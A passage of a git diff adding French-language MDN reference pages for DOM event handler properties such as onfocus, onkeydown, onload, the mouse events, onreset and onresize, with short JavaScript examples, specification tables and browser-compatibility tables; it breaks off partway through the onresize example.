diff --git a/files/fr/web/api/globaleventhandlers/onfocus/index.html b/files/fr/web/api/globaleventhandlers/onfocus/index.html
new file mode 100644
index 0000000000..98485a92d9
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onfocus/index.html
@@ -0,0 +1,21 @@
+---
+title: element.onfocus
+slug: Web/API/GlobalEventHandlers/onfocus
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onfocus
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onfocus</b> renvoie le gestionnaire de l'évènement <code>focus</code> pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onfocus
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement focus se déclenche lorsque l'utilisateur donne le focus clavier à l'élément donné.</p>
+<p>Contrairement à Microsoft Internet Explorer, dans lequel presque toutes les sortes d'éléments peuvent recevoir l'évènement focus, presqu'aucune sorte d'élément ne reçoit cet évènement dans les navigateurs utilisant Gecko.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onfocus" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.html b/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.html
new file mode 100644
index 0000000000..3ea384d7b1
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/ongotpointercapture/index.html
@@ -0,0 +1,59 @@
+---
+title: GlobalEventHandlers.ongotpointercapture
+slug: Web/API/GlobalEventHandlers/ongotpointercapture
+translation_of: Web/API/GlobalEventHandlers/ongotpointercapture
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<div>La propriété <strong><code>ongotpointercapture</code></strong> du mixin {{domxref("GlobalEventHandlers")}} est un {{domxref("EventHandler")}} qui traite les évènements de type {{event("gotpointercapture")}}.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>target</em>.ongotpointercapture = <em>functionRef</em>;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>functionRef</code> est un nom de fonction ou une <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">expression fonction</a>. La fonction accepte un objet {{domxref("FocusEvent")}} en tant qu'unique argument.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">function overHandler(event) {
+  // Obtient le gestionnaire de type "gotpointercapture" de la cible de l'événement
+  let gotCaptureHandler = event.target.ongotpointercapture;
+}
+
+function init() {
+  let el = document.getElementById('target');
+  el.ongotpointercapture = overHandler;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2', '#the-gotpointercapture-event', 'onlostpointercapture')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.GlobalEventHandlers.ongotpointercapture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'évènement <code><a href="/en-US/docs/Web/API/Document/gotpointercapture_event">Document: gotpointercapture</a></code></li>
+ <li>L'évènement <code><a href="/en-US/docs/Web/API/Element/gotpointercapture_event">Element: gotpointercapture</a></code></li>
+ <li>{{domxref("Element.setPointerCapture()")}}</li>
+</ul>
diff --git a/files/fr/web/api/globaleventhandlers/onkeydown/index.html b/files/fr/web/api/globaleventhandlers/onkeydown/index.html
new file mode 100644
index 0000000000..3753a32bae
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onkeydown/index.html
@@ -0,0 +1,23 @@
+---
+title: element.onkeydown
+slug: Web/API/GlobalEventHandlers/onkeydown
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <strong>onkeydown</strong> définit et renvoie le gestionnaire d'évènement <code>keydown</code> de l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onkeydown
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>keydown</code> se déclenche lorsque qu'une touche du clavier est enfoncée.</p>
+<p>À différencier de <a href="/fr/DOM/element.onkeypress" title="fr/DOM/element.onkeypress">onkeypress</a> qui se déclenche lorsque qu'une touche du clavier est pressée. (La nuance se situe dans le fait que <code>onkeydown</code> se produit avant <code>onkeypress</code> même s'ils se produisent quasiment au même instant)</p>
+<h3 id="Notes" name="Notes">Voir aussi</h3>
+<p><a href="/fr/DOM/element.onkeypress" title="fr/DOM/element.onkeypress">onkeypress</a> <a href="/fr/DOM/element.onkeyup" title="fr/DOM/element.onkeyup">onkeyup</a></p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onkeydown", "pl": "pl/DOM/element.onkeydown" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onkeypress/index.html b/files/fr/web/api/globaleventhandlers/onkeypress/index.html
new file mode 100644
index 0000000000..83c4c911bc
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onkeypress/index.html
@@ -0,0 +1,23 @@
+---
+title: element.onkeypress
+slug: Web/API/GlobalEventHandlers/onkeypress
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onkeypress
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <strong>onkeypress</strong> définit et renvoie le gestionnaire d'évènement <code>keypress</code> de l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">element.onkeypress = code de gestion de l'évènement
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>keypress</code> se déclenche lorsque qu'une touche du clavier est pressée.</p>
+<p>À différencier de <a href="/fr/DOM/element.onkeydown" title="fr/DOM/element.onkeydown">onkeydown</a> qui se déclenche lorsque qu'une touche du clavier est enfoncée. (La nuance se situe dans le fait que <code>onkeydown</code> se produit avant <code>onkeypress</code>, même s'il se produisent quasiment au même instant)</p>
+<h3 id="Notes" name="Notes">Voir aussi</h3>
+<p><a href="/fr/DOM/element.onkeydown" title="fr/DOM/element.onkeydown">onkeydown</a> <a href="/fr/DOM/element.onkeyup" title="fr/DOM/element.onkeyup">onkeyup</a></p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onkeypress" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onkeyup/index.html b/files/fr/web/api/globaleventhandlers/onkeyup/index.html
new file mode 100644
index 0000000000..6c27a7cc02
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onkeyup/index.html
@@ -0,0 +1,23 @@
+---
+title: element.onkeyup
+slug: Web/API/GlobalEventHandlers/onkeyup
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onkeyup
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <strong>onkeyup</strong> renvoi le gestionnaire d'évènements onKeyUp de l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<p>code de gestion de l'évènement = element.onkeyup</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval"> &lt;input type="text" onKeyUp="cleRelachee(event)"&gt;
+ &lt;script&gt;function cleRelachee(evt){ alert(evt.keyCode) }&lt;/script&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>keyup</code> se déclenche lorsque qu'une touche du clavier qui a été pressée est relâchée.</p>
+<h3 id="Notes" name="Notes">Voir aussi</h3>
+<p><a href="/fr/DOM/element.onkeypress" title="fr/DOM/element.onkeypress">onkeypress</a> <a href="/fr/DOM/element.onkeydown" title="fr/DOM/element.onkeydown">onkeydown</a></p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Ne fait partie d'aucune spécification.</p>
+<p>{{ languages( { "en": "en/DOM/element.onkeyup", "pl": "pl/DOM/element.onkeyup" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onload/index.html b/files/fr/web/api/globaleventhandlers/onload/index.html
new file mode 100644
index 0000000000..d8a5227c92
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onload/index.html
@@ -0,0 +1,27 @@
+---
+title: window.onload
+slug: Web/API/GlobalEventHandlers/onload
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onload
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Un gestionnaire d'évènement pour l'évènement <code>load</code> (chargement) de la fenêtre.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre>window.onload = refFct;
+</pre>
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+<ul>
+ <li><code>refFct</code> est une référence à une fonction.</li>
+</ul>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>window.onload = init;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>load</code> se déclenche à la fin du processus de chargement du document. À ce moment, tous les objets du document sont dans le DOM.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Ne fait partie d'aucune spécification.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.onload", "pl": "pl/DOM/window.onload" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onloadend/index.html b/files/fr/web/api/globaleventhandlers/onloadend/index.html
new file mode 100644
index 0000000000..00e16cf29a
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onloadend/index.html
@@ -0,0 +1,122 @@
+---
+title: GlobalEventHandlers.onloadend
+slug: Web/API/GlobalEventHandlers/onloadend
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - Propriétés
+  - évènements
+translation_of: Web/API/GlobalEventHandlers/onloadend
+---
+<div>{{ApiRef}}</div>
+
+<p>La propriété <strong><code>onloadend</code></strong> du "mixin" {{domxref("GlobalEventHandlers")}} est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'évènement {{event("loadend")}} est déclenché (quand la progression est arrêtée sur le chargement d'une ressource).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>img</var>.onloadend = <var>funcRef</var>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>funcRef</code> est la fonction du gestionnaire à appeler quand l'évènement <code>loadend </code>de la ressource est déclenché.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;img src="myImage.jpg"&gt;</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">// 'loadstart' est le premier lancé, puis 'load', puis 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadend", "onloadend")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("52")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] À partir de Firefox 52, l'évènement <code>loadend</code> est déclenché sur les éléments {{htmlelement("img")}}.</p>
diff --git a/files/fr/web/api/globaleventhandlers/onloadstart/index.html b/files/fr/web/api/globaleventhandlers/onloadstart/index.html
new file mode 100644
index 0000000000..fe09f4e6aa
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onloadstart/index.html
@@ -0,0 +1,74 @@
+---
+title: GlobalEventHandlers.onloadstart
+slug: Web/API/GlobalEventHandlers/onloadstart
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - Propriétés
+  - évènements
+translation_of: Web/API/GlobalEventHandlers/onloadstart
+---
+<div>{{ApiRef}}</div>
+
+<p>La propriété <strong><code>onloadstart</code></strong> du "mixin" {{domxref("GlobalEventHandlers")}} est un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) représentant le code à appeler lorsque l'évènement {{event("loadstart")}} est déclenché (quand la progression est commencée sur le chargement d'une ressource).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>img</var>.onloadstart = <var>funcRef</var>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>funcRef</code> est la fonction du gestionnaire à appeler lorsque l'évènement <code>loadstart</code> de la ressource est déclenché.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Contenu_HTML">Contenu HTML</h3>
+
+<pre class="brush: html">&lt;img src="myImage.jpg"&gt;</pre>
+
+<h3 id="Contenu_JavaScript">Contenu JavaScript</h3>
+
+<pre class="brush: js">// 'loadstart' est lancé le premier, puis 'load', puis 'loadend'
+
+image.addEventListener('load', function(e) {
+  console.log('Image loaded');
+});
+
+image.addEventListener('loadstart', function(e) {
+  console.log('Image load started');
+});
+
+image.addEventListener('loadend', function(e) {
+  console.log('Image load finished');
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#handler-onloadstart", "onloadstart")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.GlobalEventHandlers.onloadstart")}}</p>
+</div>
+</div>
diff --git a/files/fr/web/api/globaleventhandlers/onmousedown/index.html b/files/fr/web/api/globaleventhandlers/onmousedown/index.html
new file mode 100644
index 0000000000..8da0125fb7
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onmousedown/index.html
@@ -0,0 +1,20 @@
+---
+title: element.onmousedown
+slug: Web/API/GlobalEventHandlers/onmousedown
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onmousedown
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onmousedown</b> renvoie le gestionnaire de l'évènement <code>mousedown</code> (bouton de la souris enfoncé) pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onMouseDown
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>mousedown</code> se déclenche lorsque l'utilisateur appuie sur le bouton gauche de la souris.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onmousedown", "pl": "pl/DOM/element.onmousedown" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onmousemove/index.html b/files/fr/web/api/globaleventhandlers/onmousemove/index.html
new file mode 100644
index 0000000000..b89d701db6
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onmousemove/index.html
@@ -0,0 +1,41 @@
+---
+title: element.onmousemove
+slug: Web/API/GlobalEventHandlers/onmousemove
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onmousemove
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>La propriété <strong>onmousemove</strong> renvoie le code de gestion de l'évènement <code>mousemove</code> pour l'élément courant.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<p><code><em>element</em>.onmousemove = <em>functionRef</em></code></p>
+
+<p id="Exemple">où <em>functionRef</em> est une fonction ou une expression de type <em>function. </em>Consulter la <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">référence des fonctions</a> pour plus de détails.</p>
+
+<p>Le paramètre fournit au gestionnaire d'évènement <em>functionRef</em> lors du déclenchement de l'évènement est objet qui représente l'évènement de déplacment de souris, de type {{ domxref("MouseEvent") }}.</p>
+
+<h3 id="Notes" name="Notes">Exemple</h3>
+
+<pre class="brush: js">document.body.onmousemove = event =&gt; {
+  // Suivi de la position de la souris dans la console
+  console.log(`Position de la souris : X = ${event.clientX} | Y = ${event.clientY}`);
+}</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>L'évènement <code>mousemove</code> se déclenche lorsque l'utilisateur déplace la souris.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.onmousemove", "pl": "pl/DOM/element.onmousemove" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onmouseout/index.html b/files/fr/web/api/globaleventhandlers/onmouseout/index.html
new file mode 100644
index 0000000000..ac9fb708bd
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onmouseout/index.html
@@ -0,0 +1,20 @@
+---
+title: element.onmouseout
+slug: Web/API/GlobalEventHandlers/onmouseout
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onmouseout
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onmouseout</b> renvoie le code de gestion de l'évènement <code>mouseout</code> (sortie du pointeur de la souris) pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onmouseout
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>mouseout</code> se déclenche lorsque le pointeur de la souris quitte un élément (par exemple lorsque le pointeur sort d'une image sur une page web, cet évènement se déclenche pour l'élément <code>image</code> correspondant).</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onmouseout" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onmouseover/index.html b/files/fr/web/api/globaleventhandlers/onmouseover/index.html
new file mode 100644
index 0000000000..f5f46d7ac9
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onmouseover/index.html
@@ -0,0 +1,20 @@
+---
+title: element.onmouseover
+slug: Web/API/GlobalEventHandlers/onmouseover
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onmouseover
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onmouseover</b> renvoie le code de gestion de l'évènement <code>onMouseOver</code> pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onmouseover
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>mouseover</code> se déclenche lorsque l'utilisateur déplace la souris au dessus d'un élément particulier.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>Ne fait partie d'aucune spécification.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.onmouseover", "pl": "pl/DOM/element.onmouseover" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onmouseup/index.html b/files/fr/web/api/globaleventhandlers/onmouseup/index.html
new file mode 100644
index 0000000000..c283e36862
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onmouseup/index.html
@@ -0,0 +1,20 @@
+---
+title: element.onmouseup
+slug: Web/API/GlobalEventHandlers/onmouseup
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onmouseup
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>onmouseup</b> renvoie le gestionnaire de l'évènement <code>mouseup</code> (bouton de la souris relaché) pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">code de gestion de l'évènement = element.onMouseUp
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>mouseup</code> se déclenche lorsque l'utilisateur relâche le bouton gauche de la souris.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onmouseup" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onreset/index.html b/files/fr/web/api/globaleventhandlers/onreset/index.html
new file mode 100644
index 0000000000..e2c6eb2011
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onreset/index.html
@@ -0,0 +1,129 @@
+---
+title: GlobalEventHandlers.onreset
+slug: Web/API/GlobalEventHandlers/onreset
+tags:
+  - API
+  - DOM
+  - Gestionnaires d'évènements
+  - Propriété
+  - évènements
+translation_of: Web/API/GlobalEventHandlers/onreset
+---
+<p>{{ ApiRef() }}</p>
+
+<p>La propriété <code><strong>GlobalEventHandlers.onreset</strong></code> contient un {{domxref("EventHandler")}} (<em>gestionnaire d'évènements</em>) déclenché quand un évènement {{event("reset")}} est reçu.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre>window.onreset = funcRef;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>funcRef</code> est une référence à une fonction.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.RESET);
+  window.onreset = hit;
+}
+
+function hit() {
+ alert('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+ &lt;form&gt;
+   &lt;input type="reset" value="reset" /&gt;
+ &lt;/form&gt;
+ &lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>L'évènement <code>reset</code> est déclenché quand l'utilisateur clique sur le bouton de réinitialisation dans un formulaire (<code>&lt;input type="reset"/&gt;</code>).</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onreset','onreset')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/globaleventhandlers/onresize/index.html b/files/fr/web/api/globaleventhandlers/onresize/index.html
new file mode 100644
index 0000000000..c8dba30afa
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onresize/index.html
@@ -0,0 +1,66 @@
+---
+title: element.onresize
+slug: Web/API/GlobalEventHandlers/onresize
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/window.onresize
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>La propriété <strong>onresize</strong> renvoie le code de gestion <code>onresize</code> de l'élément. Il sert également à définir le code devant s'exécuter lorsqu'un évènement de redimensionnement survient.</p>
+
+<p>Seul l'objet <var>window</var> possède un évènement <code>onresize</code>.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">// attribue une fonction anonyme à onresize
+window.onresize = function(){alert('Redimensionnement de la fenêtre')}
+
+// Attribue la référence d'une fonction à onresize
+function sayHi(){alert('Hi')}
+
+window.onresize = sayHi;
+
+// Montre la valeur de window.onresize
+alert(window.onresize);
+</pre>
+
+<p>Un évènement onresize employé avec des cadres sera lancé à chaque fois que le cadre sera redimensionné soit directement, soit comme résultant du redimensionnement de la fenêtre.</p>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;exemple avec onresize&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+
+function sayHi(){
+  alert('Hi');
+}
+
+window.onresize = sayHi;
